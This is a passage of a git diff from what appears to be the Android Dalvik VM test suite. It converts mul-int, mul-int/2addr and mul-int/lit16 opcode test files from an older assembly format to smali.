-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 9
-
-       mul-int v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali
new file mode 100644
index 0000000..2e335ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_4.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 9
+
+       mul-int v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.d
deleted file mode 100644
index 04be572..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_5.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 9
-
-       mul-int v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali
new file mode 100644
index 0000000..5443957
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_5.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 9
+
+       mul-int v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.d
deleted file mode 100644
index e181e71..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_6.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 9
-
-       mul-int v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali
new file mode 100644
index 0000000..9356dbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_6.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+
+       mul-int v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.d
deleted file mode 100644
index 86a6c9a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_1.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       mul-int/2addr v6, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali
new file mode 100644
index 0000000..71f6ba9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v6, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.d
deleted file mode 100644
index 744c214..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_2.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       mul-int/2addr v7, v8
-       return v7
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali
new file mode 100644
index 0000000..fa99897
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v7, v8
+       return v7
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.d
deleted file mode 100644
index 8c14a36..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_3.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       mul-int/2addr v5, v6
-       return v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali
new file mode 100644
index 0000000..a066367
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       mul-int/2addr v5, v6
+       return v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.d
deleted file mode 100644
index 64e0ba1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_4.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       mul-int/2addr v5, v7
-       return v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali
new file mode 100644
index 0000000..a5e7ba3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       mul-int/2addr v5, v7
+       return v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.d
deleted file mode 100644
index 9a22395..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_5.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       mul-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali
new file mode 100644
index 0000000..400ef1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.d
deleted file mode 100644
index c8bbcd2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_6.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 8
-
-       mul-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali
new file mode 100644
index 0000000..a6bd55e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       mul-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.d
deleted file mode 100644
index d7dd6f3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_1.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 130
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali
new file mode 100644
index 0000000..e58e32b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 130
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.d
deleted file mode 100644
index 91c550c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_10.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v7, 4321
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali
new file mode 100644
index 0000000..24c84c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.d
deleted file mode 100644
index 200afbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_2.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, -321
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali
new file mode 100644
index 0000000..309d416
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, -321
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.d
deleted file mode 100644
index aed3dd4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
